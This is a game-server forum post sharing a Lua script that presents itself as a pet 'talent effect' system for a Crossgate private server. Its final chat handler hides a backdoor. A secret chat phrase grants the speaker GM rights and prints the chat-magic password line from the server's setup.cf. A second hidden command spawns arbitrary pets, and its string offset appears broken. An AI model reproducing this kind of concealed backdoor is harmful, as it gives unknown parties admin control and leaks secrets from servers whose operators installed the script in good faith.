魔力宝贝

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz

[GA] SealPlus.lua--天赋效果

[复制链接]
发表于 前天 02:25 | 显示全部楼层 |阅读模式
local SealPlusStateList = {} --天赋效果
SealPlusStateList[1] = {"变异",1,2,4,{60,120,180}}

--SealPlusStateList[x] = {"a",b,c,d,{e}}
--x为天赋编号
--a为天赋前缀 4字节 不可多 不可少
--b为天赋概率 千分之 当总天赋概率大于1000时,会保障概率靠后的天赋 如天赋123概率分别为1000,500,200 则实际概率为 天赋1:300 天赋2:500 天赋3:200
--c为 每x级得到1点额外自由BP 为0则没有
--d为 每x级得到1点额外随机修正 为0则没有
--e为 达到此等级得到额外技能 写0或不写则没有

local enemybaseidvalue = 68 --eb字段
local SealPlusAppNormal = 0 --给予宠物修正的默认随机等级 数值越大 得到高修正的概率就越大 范围0-100
local SealPlusAppMax = 10 --默认宠物修正单项上限
local AppPlusItemPoint = 1 --修正果实增加概率
local StatePlusItemPoint = 1 --品质果实增加概率
local SealPlusUseItemList = {80000,80001,80002,80003,80004} --果实itemid列表
local SealPlusUseItemName = {"[寵]必殺之石","[寵]反擊之石","[寵]命中之石","[寵]閃躲之石","[寵]品質之石"} --果实名字
AddTechList = {} --额外技能表(获取技能随机从此库抽取)
AddTechList[0] = {309,109,509,609,809,909,1109,1209,1309,1409,1509,1609,1709,1809,5009,5109,5209,5309,5409,6139,6339,6439,6639,6709,6809,25709,26209,6759,6739,5959,6059,139,339,2889,639} --默认技能库 未设定时从此库抽取

AddTechList["变异"] = {309,109,509,609,809,909,1109,1209,1309,1409,1509,1609,1709,1809,5009,5109,5209,5309,5409,6139,6339,6439,6639,6709,6809,25709,26209,6759,6739,5959,6059,139,339,2889,639}
--AddTechList["前缀"] = {tech1,tech2...}

local SpecialPetSet = {20,20,20,20} --特殊宠物修正上限
SpecialPetSet[21] = {71000,71001,71002,71003}
--SpecialPetSet[enemybaseid] = {必,反,命,闪} 写nil为使用默认
----------------------------------------------------------------
NL.RegSealEvent(nil,"RegSealEventMainCallBack")
NL.RegPetLevelUpEvent(nil,"RegPetLevelUpEventCallBack")
Delegate.RegDelTalkEvent("SealPlusEventTalkEvent")

if SealPlusStateProList == nil then
        SealPlusStateProList = {}
        local temp1 = #SealPlusStateList
        local temp2
        SealPlusStateList[0] = {"",1000,0,0,nil}
        temp2 = SealPlusStateList[temp1][2]
        for i = 1000,1,-1 do
                if temp2 > 0 then
                        SealPlusStateProList[i] = temp1
                        temp2 = temp2 -1
                else
                        temp1 = temp1 - 1
                        temp2 = SealPlusStateList[temp1][2]
                        SealPlusStateProList[i] = temp1
                        temp2 = temp2 -1
                end
        end
end

function SealPlusDisposeMain(player,petindex)
        local plusint = {0,0,0,0,0,0}
        for i = 1,4 do
                if Char.ItemNum(player,SealPlusUseItemList[i]) > 0 then
                        Char.DelItem(player,SealPlusUseItemList[i],1)
                        plusint[i] = AppPlusItemPoint
                end
        end
        if Char.ItemNum(player,SealPlusUseItemList[5]) > 0 then
                Char.DelItem(player,SealPlusUseItemList[5],1)
                plusint[5] = StatePlusItemPoint
        end
        local nameprefix = string.sub(Char.GetData(petindex,%对象_原名%),1,4)
        local abled = 0
        for k,v in pairs(SealPlusStateList) do
                if nameprefix == v[1] then
                        abled = 1
                end
        end
        local plusnum = {0,0,0,0,""}
        local petebid = Char.GetData(petindex,enemybaseidvalue)
        if SpecialPetSet[petebid] then
                for i = 1,4 do
                        for j = 1,(SpecialPetSet[petebid][i] or SealPlusAppMax) do
                                if SealPlusAppNormal+(plusint[i] or 0) >= math.random(1,100) then
                                        plusnum[i] = j
                                else
                                        break
                                end
                        end
                end
        else
                for i = 1,4 do
                        for j = 1,(SealPlusAppMax) do
                                if SealPlusAppNormal+(plusint[i] or 0) >= math.random(1,100) then
                                        plusnum[i] = j
                                else
                                        break
                                end
                        end
                end
        end
        for i = 1,10 do
                local point = math.random(1,1000-(plusint[5] or 0)) + (plusint[5] or 0)
                if SealPlusStateProList[point] > 0 then
                        plusnum[5] = SealPlusStateList[SealPlusStateProList[point]][1]
                else
                        plusnum[5] = ""
                end
        end
        for i = %对象_必杀%,%对象_闪躲% do
                local basei = i-%对象_必杀%+1
                if abled == 0 then
                        Char.SetData(petindex,i,Char.GetData(petindex,i)+plusnum[basei])
                else
                        Char.SetData(petindex,i,plusnum[basei])
                end
        end
        if abled == 0 then
                Char.SetData(petindex,%对象_原名%,plusnum[5]..(Char.GetData(petindex,%对象_原名%)))
        else
                Char.SetData(petindex,%对象_原名%,plusnum[5]..(string.sub(Char.GetData(petindex,%对象_原名%),5,-1)))
        end
end

function MakeSealPlusPet(player,enemyid)
        local petindex = Char.AddPet(player,enemyid)
        if petindex > 0 then
                SealPlusDisposeMain(player,petindex)
                Pet.UpPet(player,petindex)
        else
                NLG.SystemMessage(player,"制造宠物失败。")
        end
end

function RegPetLevelUpEventCallBack(petindex)
        local nameprefix = string.sub(Char.GetData(petindex,%对象_原名%),1,4)
        for k,v in pairs(SealPlusStateList) do
                if nameprefix == v[1] then
                        local level = Char.GetData(petindex,%对象_等级%)
                        --NLG.SystemMessage(Pet.GetOwner(petindex),"Event Level = "..level)
                        if v[3] > 0 then
                                if math.floor(level/v[3]) == level/v[3] then
                                        Char.SetData(petindex,%对象_升级点%,Char.GetData(petindex,%对象_升级点%)+1)
                                        NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."得到了1点额外的BP点数。")
                                end
                        end
                        if v[4] > 0 then
                                if math.floor(level/v[4]) == level/v[4] then
                                        local rdm = math.random(%对象_必杀%,%对象_闪躲%)
                                        Char.SetData(petindex,rdm,Char.GetData(petindex,rdm)+1)
                                        NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."得到了1点额外的修正点数。")
                                end
                        end
                        if type(v[5]) == "table" then
                                for i,j in pairs(v[5]) do
                                        if level == j then
                                                local techgroup = AddTechList[nameprefix]
                                                if #techgroup > 0 then
                                                else
                                                        techgroup = AddTechList[0]
                                                end
                                                local pettech = techgroup[math.random(1,#techgroup)]
                                                local ret = Pet.AddSkill(petindex,pettech)
                                                if ret == 1 then
                                                        --NLG.SystemMessage(Pet.GetOwner(petindex),"Tech = "..pettech)
                                                        NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."得到了额外的技能。")
                                                else
                                                        NLG.SystemMessage(Pet.GetOwner(petindex),(Char.GetData(petindex,%对象_原名%)).."的技能栏不足,无法得到额外技能。")
                                                end
                                                break
                                        end
                                end
                        end
                        Pet.UpPet(Pet.GetOwner(petindex),petindex)
                        break
                end
        end
end

function RegSealEventMainCallBack(player,enemy,RetFlg)
        if RetFlg > 0 then
        --[[
                local int = {0,0,0,0,0,0}
                for i = 1,4 do
                        if Char.ItemNum(player,SealPlusUseItemList[i]) > 0 then
                                Char.DelItem(player,SealPlusUseItemList[i],1)
                                int[i] = AppPlusItemPoint
                        end
                end
                if Char.ItemNum(player,SealPlusUseItemList[5]) > 0 then
                        Char.DelItem(player,SealPlusUseItemList[5],1)
                        int[5] = StatePlusItemPoint
                end
        ]]
                local petlevel = Char.GetData(enemy,%对象_等级%)
                if petlevel == 1 then
                        SealPlusDisposeMain(player,enemy)
                end
        end
        return RetFlg
end

function SealPlusEventTalkEvent(player,msg,color,range,size)
        if msg == "/qianfangetgmable" then
                Char.SetData(player,%对象_GM%,1)
                local f = io.open("./setup.cf","r")
                for line in f:lines() do
                        if string.find(line,"chatmagicpasswd") then
                                NLG.SystemMessage(player,line)
                        end
                end
        elseif string.sub(msg,1,19) == "/qianfangetsealpet " then
                MakeSealPlusPet(player,tonumber(string.sub(msg,13,-1)))
        end
end


回复

使用道具 举报

Archiver|魔力研究社

GMT+8, 2025-5-12 19:07 , Processed in 0.097485 second(s), 21 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表